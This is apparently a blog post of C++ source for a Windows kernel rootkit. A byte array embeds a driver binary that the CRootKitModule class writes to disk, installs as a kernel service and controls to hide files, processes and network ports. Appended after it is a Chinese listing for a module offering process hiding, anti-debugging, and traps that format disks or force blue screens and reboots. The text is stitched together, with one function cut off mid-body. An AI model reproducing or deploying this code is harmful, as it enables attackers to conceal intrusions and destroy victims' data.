"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x4e/xe6/x40/xbb/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/xa1/x00/x30/x01/x00/x85/xc0/xb9/x4e/xe6/x40/xbb/x74/x04/x3b/xc1"
"/x75/x19/xa1/x3c/x20/x01/x00/x8b/x00/x35/x00/x30/x01/x00/xa3/x00"
"/x30/x01/x00/x75/x06/x89/x0d/x00/x30/x01/x00/xe9/x82/xd1/xff/xff"
"/x58/x40/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x02/x42/x00/x00"
"/x00/x20/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x9c/x40/x00/x00/xb2/x40/x00/x00"
"/xc4/x40/x00/x00/xdc/x40/x00/x00/xf4/x40/x00/x00/x0c/x41/x00/x00"
"/x1e/x41/x00/x00/x32/x41/x00/x00/x46/x41/x00/x00/x58/x41/x00/x00"
"/x78/x41/x00/x00/x8c/x41/x00/x00/xa8/x41/x00/x00/xc0/x41/x00/x00"
"/xdc/x41/x00/x00/xf4/x41/x00/x00/x00/x00/x00/x00/xf1/x01/x49/x6f"
"/x66/x43/x6f/x6d/x70/x6c/x65/x74/x65/x52/x65/x71/x75/x65/x73/x74"
"/x00/x00/x5e/x01/x49/x6f/x44/x65/x6c/x65/x74/x65/x44/x65/x76/x69"
"/x63/x65/x00/x00/x60/x01/x49/x6f/x44/x65/x6c/x65/x74/x65/x53/x79"
"/x6d/x62/x6f/x6c/x69/x63/x4c/x69/x6e/x6b/x00/x00/x3b/x04/x52/x74"
"/x6c/x49/x6e/x69/x74/x55/x6e/x69/x63/x6f/x64/x65/x53/x74/x72/x69"
"/x6e/x67/x00/x00/x54/x01/x49/x6f/x43/x72/x65/x61/x74/x65/x53/x79"
"/x6d/x62/x6f/x6c/x69/x63/x4c/x69/x6e/x6b/x00/x00/x4b/x01/x49/x6f"
"/x43/x72/x65/x61/x74/x65/x44/x65/x76/x69/x63/x65/x00/x00/x1e/x04"
"/x52/x74/x6c/x46/x72/x65/x65/x41/x6e/x73/x69/x53/x74/x72/x69/x6e"
"/x67/x00/xd7/x03/x52/x74/x6c/x43/x6f/x6d/x70/x61/x72/x65/x4d/x65"
"/x6d/x6f/x72/x79/x00/x00/xc9/x04/x52/x74/x6c/x55/x70/x70/x65/x72"
"/x53/x74/x72/x69/x6e/x67/x00/x00/xb5/x04/x52/x74/x6c/x55/x6e/x69"
"/x63/x6f/x64/x65/x53/x74/x72/x69/x6e/x67/x54/x6f/x41/x6e/x73/x69"
"/x53/x74/x72/x69/x6e/x67/x00/x00/x37/x04/x52/x74/x6c/x49/x6e/x69"
"/x74/x41/x6e/x73/x69/x53/x74/x72/x69/x6e/x67/x00/x69/x02/x4b/x65"
"/x53/x65/x72/x76/x69/x63/x65/x44/x65/x73/x63/x72/x69/x70/x74/x6f"
"/x72/x54/x61/x62/x6c/x65/x00/x00/x65/x05/x5a/x77/x51/x75/x65/x72"
"/x79/x44/x69/x72/x65/x63/x74/x6f/x72/x79/x46/x69/x6c/x65/x00/x00"
"/x75/x05/x5a/x77/x51/x75/x65/x72/x79/x53/x79/x73/x74/x65/x6d/x49"
"/x6e/x66/x6f/x72/x6d/x61/x74/x69/x6f/x6e/x00/x00/x3b/x05/x5a/x77"
"/x44/x65/x76/x69/x63/x65/x49/x6f/x43/x6f/x6e/x74/x72/x6f/x6c/x46"
"/x69/x6c/x65/x00/x7f/x02/x4b/x65/x54/x69/x63/x6b/x43/x6f/x75/x6e"
"/x74/x00/x6e/x74/x6f/x73/x6b/x72/x6e/x6c/x2e/x65/x78/x65/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x10/x00/x00/xb0/x00/x00/x00/xa4/x30/xbc/x30/x19/x31/x23/x31"
"/x34/x31/x4d/x31/xd7/x31/xdc/x31/xfc/x31/x14/x32/x28/x32/x3c/x32"
"/x43/x32/x56/x32/x5d/x32/x98/x32/xa0/x32/xaa/x32/xef/x32/xf5/x32"
"/x1b/x33/x2c/x33/x4f/x33/x64/x33/xb4/x33/xd0/x33/xdc/x33/xe2/x33"
"/xef/x33/x04/x34/x0d/x34/x24/x34/x3c/x34/x41/x34/x4c/x34/x61/x34"
"/x73/x34/x84/x34/xc2/x34/xd1/x34/xda/x34/xed/x34/x0d/x35/x23/x35"
"/x4b/x35/x6a/x35/x97/x35/xc0/x35/xcc/x35/xd2/x35/xdf/x35/xf4/x35"
"/xfd/x35/x14/x36/x2c/x36/x31/x36/x3c/x36/x51/x36/x61/x36/x6f/x36"
"/x87/x36/x97/x36/xb0/x36/xe4/x36/x51/x37/x6c/x37/x03/x38/x1e/x38"
"/x8d/x38/x9b/x38/xb3/x38/xc3/x38/xdc/x38/xe8/x38/xf4/x38/xfa/x38"
"/x07/x39/x1c/x39/x25/x39/x3c/x39/x54/x39/x59/x39/x64/x39/x79/x39"
"/x00/x40/x00/x00/x14/x00/x00/x00/x01/x30/x13/x30/x1a/x30/x1f/x30"
"/x27/x30/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00";


CRootKitModule::~CRootKitModule(void)
{
   CloseServiceHandle(m_hSCManager);
}


bool CRootKitModule::InitInstance()
{
   m_hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
   if(m_hSCManager == NULL)
       return false;
   m_strDriverName = L"";
   return true;
}

void CRootKitModule::Test()
{
   //..
}
BOOL CRootKitModule::InstallService(SC_HANDLE hSCManager, LPCTSTR ServiceName, LPCTSTR ServiceExe)
{
  SC_HANDLE schService;

  schService = CreateService( hSCManager,                 // SCManager database
                    ServiceName,         // name of service
                    ServiceName,         // name to display
                    SERVICE_ALL_ACCESS,     // desired access
                    SERVICE_KERNEL_DRIVER,   // service type
                    SERVICE_DEMAND_START,   // start type
                    SERVICE_ERROR_NORMAL,   // error control type
                    ServiceExe,         // service's binary
                    NULL,             // no load ordering group
                    NULL,             // no tag identifier
                    NULL,             // no dependencies
                    NULL,             // LocalSystem account
                    NULL               // no password
                    );
  if (schService == NULL)
   {
    return FALSE;
   }

  CloseServiceHandle(schService);
  return TRUE;
}


BOOL CRootKitModule::StartService(SC_HANDLE hSCManager, LPCTSTR ServiceName)
{
  SC_HANDLE schService = NULL;
  int     nRet = 0;
  
  schService = OpenService(hSCManager, ServiceName, SERVICE_ALL_ACCESS);
  if(schService == NULL)
   {
       if(GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST)
       {
           return FALSE;
       }
    return FALSE;
   }

   nRet = ::StartService(schService, 0, NULL);
   if(!nRet)
   {
       if(GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)
       {
           return nRet;
       }
   }

  CloseServiceHandle(schService);
  return nRet;
}

BOOL CRootKitModule::StopService(SC_HANDLE hSCManager, LPCTSTR ServiceName)
{
  SC_HANDLE     schService = NULL;
  SERVICE_STATUS ServiceStatus;
   int         nRet = 0;

  schService = OpenService(hSCManager, ServiceName, SERVICE_ALL_ACCESS);
  if(schService == NULL)
    return FALSE;

  nRet = ControlService(schService, SERVICE_CONTROL_STOP, &ServiceStatus);
   if(!nRet)
   {
       switch(GetLastError())
       {
       case ERROR_SERVICE_NOT_ACTIVE:
           return nRet;

       case ERROR_INVALID_SERVICE_CONTROL:
           return nRet;
       }
   }

  CloseServiceHandle(schService);
  return nRet;
}
BOOL CRootKitModule::RemoveService(SC_HANDLE hSCManager, LPCTSTR ServiceName)
{
  SC_HANDLE schService;
  int         nRet = 0;

  schService = OpenService(hSCManager, ServiceName, SERVICE_ALL_ACCESS);
  if(schService == NULL)
       return FALSE;

  nRet = DeleteService(schService);

  CloseServiceHandle(schService);

  return nRet;
}

HANDLE CRootKitModule::_CreateFile()
{
   return CreateFile(MY_DEVICE_NAME,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
}

bool CRootKitModule::DeleteDriver(LPCTSTR szDriver )
{
   if( !szDriver)
   {
       StopService(m_hSCManager, szDriver);
       return !!RemoveService(m_hSCManager, szDriver);
   }
   StopService(m_hSCManager, ATL::CW2T(m_strDriverName.c_str()));
   return !!RemoveService(m_hSCManager, ATL::CW2T(m_strDriverName.c_str()));
  
  
}
bool CRootKitModule::CreateDriver(LPCSTR szFileName, LPCSTR szDriver)
{

   HANDLE hFile=CreateFile(szFileName,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,Create_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  DWORD dwBytes;
  WriteFile(hFile,g_szRootKitModule,sizeof(g_szRootKitModule) - 1,&dwBytes,NULL);
  CloseHandle(hFile);

   m_strDriverName = ATL::CT2W(szDriver);
   StopDriver();
   RemoveService(m_hSCManager, szDriver);
   if ( !InstallService(m_hSCManager, szDriver, szFileName) )
       return false;
   return true;
}

bool CRootKitModule::StartDriver()
{
   return !!StartService(m_hSCManager, ATL::CW2T(m_strDriverName.c_str()));
}
bool CRootKitModule::StopDriver()
{
   return !!StopService(m_hSCManager, ATL::CW2T(m_strDriverName.c_str()));
}
bool CRootKitModule::AddHideFile(LPCTSTR szFile)
{
   HANDLE hDevice = _CreateFile();
   if (hDevice==INVALID_HANDLE_VALUE)
       return false;
   char szInBuff[256];
   strcpy(szInBuff, ATL::CT2A(szFile));
   _strupr(szInBuff);
   DWORD dwBytesReturned;
   if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_ADDHIDEFILE,szInBuff,(DWORD)strlen(szFile), szInBuff, 256, &dwBytesReturned,NULL)))
   {
   CloseHandle(hDevice);
   return FALSE;
   }
   CloseHandle(hDevice);
   return true;
}
bool CRootKitModule::DelHideFile(LPCTSTR szFile)
{
   HANDLE hDevice = _CreateFile();
   if (hDevice==INVALID_HANDLE_VALUE)
       return false;
   char szInBuff[256];
   strcpy(szInBuff, ATL::CT2A(szFile));
   _strupr(szInBuff);
   DWORD dwBytesReturned;
   if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_DELHIDEFILE,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL)))
   {
   CloseHandle(hDevice);
   return FALSE;
   }
   CloseHandle(hDevice);
   return true;
}
bool CRootKitModule::StartHideFile()
{
   HANDLE hDevice = _CreateFile();
   if (hDevice==INVALID_HANDLE_VALUE)
       return false;
   char szInBuff[256] = "";
   DWORD dwBytesReturned;
   if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_STARTHIDEFILE,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL)))
   {
   CloseHandle(hDevice);
   return FALSE;
   }
   CloseHandle(hDevice);
   return true;
}

bool CRootKitModule::AddHideProcessId(DWORD dwId)
{
   HANDLE hDevice = _CreateFile();
   if (hDevice==INVALID_HANDLE_VALUE)
       return false;
   char szInBuff[256] = "";
   memcpy(szInBuff, &dwId, sizeof(DWORD));
   DWORD dwBytesReturned;
   if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_ADDHIDEPROCESS,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL)))
   {
   CloseHandle(hDevice);
   return FALSE;
   }
   CloseHandle(hDevice);
   return true;
}
bool CRootKitModule::DelHideProcessId(DWORD dwId)
{
   HANDLE hDevice = _CreateFile();
   if (hDevice==INVALID_HANDLE_VALUE)
       return false;
   char szInBuff[256] = "";
   memcpy(szInBuff, &dwId, sizeof(DWORD));
   DWORD dwBytesReturned;
   if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_DELHIDEPROCESS,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL)))
   {
   CloseHandle(hDevice);
   return FALSE;
   }
   CloseHandle(hDevice);
   return true;
}
bool CRootKitModule::StartHideProcess()
{
   HANDLE hDevice = _CreateFile();
   if (hDevice==INVALID_HANDLE_VALUE)
       return false;
   char szInBuff[256] = "";
   DWORD dwBytesReturned;
   if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_STARTHIDEPROCESS,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL)))
   {
   CloseHandle(hDevice);
   return FALSE;
   }
   CloseHandle(hDevice);
   return true;
}


bool CRootKitModule::AddHidePort(DWORD dwPort)
{
   HANDLE hDevice = _CreateFile();
   if (hDevice==INVALID_HANDLE_VALUE)
       return false;
   char szInBuff[256] = "";
   memcpy(szInBuff, &dwPort, sizeof(DWORD));
   DWORD dwBytesReturned;
   if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_ADDHIDEPORT,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL)))
   {
   CloseHandle(hDevice);
   return FALSE;
   }
   CloseHandle(hDevice);
   return true;
}
bool CRootKitModule::DelHidePort(DWORD dwPort)
{
   HANDLE hDevice = _CreateFile();
   if (hDevice==INVALID_HANDLE_VALUE)
       return false;
   char szInBuff[256] = "";
   memcpy(szInBuff, &dwPort, sizeof(DWORD));
   DWORD dwBytesReturned;
   if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_DELHIDEPORT,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL)))
   {
   CloseHandle(hDevice);
   return FALSE;
   }
   CloseHandle(hDevice);
   return true;
}
bool CRootKitModule::StartHidePort()
{
   HANDLE hDevice = _CreateFile();
   if (hDevice==INVALID_HANDLE_VALUE)
       return false;
   char szInBuff[256] = "";
   DWORD dwBytesReturned;
   if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_STARTHIDEPORT,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL)))
   {
   CloseHandle(hDevice);
   return FALSE;
   }
   CloseHandle(hDevice);
   return true;
易语言辅助必备驱动保护模块 代码公开 透明 绝无暗装之类 ------------------------------ .版本 2 .子程序 关闭保护辅助进程, 逻辑型, 公开, 取消禁止结束并保护程序 .参数 进程ID, 整数型, 可空, 可空,默认取消自身,可用的进程_名取ID()获取进程ID, .子程序 关闭防各类调试, 逻辑型, 公开, 取消结束并保护程序 .参数 进程ID, 整数型, 可空, 可空,默认取消自身,可用的进程_名取ID()获取进程ID, .子程序 开启保护辅助进程, 逻辑型, 公开, 可禁止他人有意结束某程序,并保护程序不被注入,打开程序,支持所有系统,32,WIN764位都可以 .参数 进程ID, 整数型, 可空, 可空,默认保护自身,可用的进程_名取ID()获取进程ID, .子程序 开启防各类调试, 逻辑型, 公开, 可禁止他人有意,用CE,VE,ME,GE,内存工具和WPE等程序,打开程序,支持所有系统,32,WIN764位都可以 .参数 进程ID, 整数型, 可空, 可空,默认保护自身,可用的进程_名取ID()获取进程ID, .子程序 隐藏模块, 逻辑型, 公开, 隐藏模块 (GetModuleHandle (“隐藏.dll”)) .参数 模块基地址, 整数型 .子程序 郁金香取消隐藏进程, 逻辑型, 公开, 取消隐藏进程 暂时无法取消隐藏 .参数 进程ID, 整数型, 可空, 可空,默认取消自身,可用进程_名取ID()获取进程ID, .子程序 郁金香隐藏进程, 逻辑型, 公开, 隐藏进程,,支持32位,和64位WIn7,与所有系统请自行测试 .参数 进程ID, 整数型, 可空, 可空,默认隐藏自身,可用进程_名取ID()获取进程ID, .子程序 置格盘陷阱, 逻辑型, 公开 .子程序 置蓝屏陷阱, 逻辑型, 公开, 利用蓝屏代码 绝对值蓝屏 .子程序 置死机陷阱, 逻辑型, 公开 .子程序 置重启陷阱, 逻辑型, 公开, 绝对值重启 .DLL命令 GetModuleHandle, 整数型, "kernel32", "GetModuleHandleA", 公开 .参数 lpModuleName, 文本型 .DLL命令 RtlMoveMemory, 整数型, , "RtlMoveMemory", 公开, _写内存3 .参数 dest, 整数型, 传址 .参数 Source, 整数型 .参数 len, 整数型, , 4
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值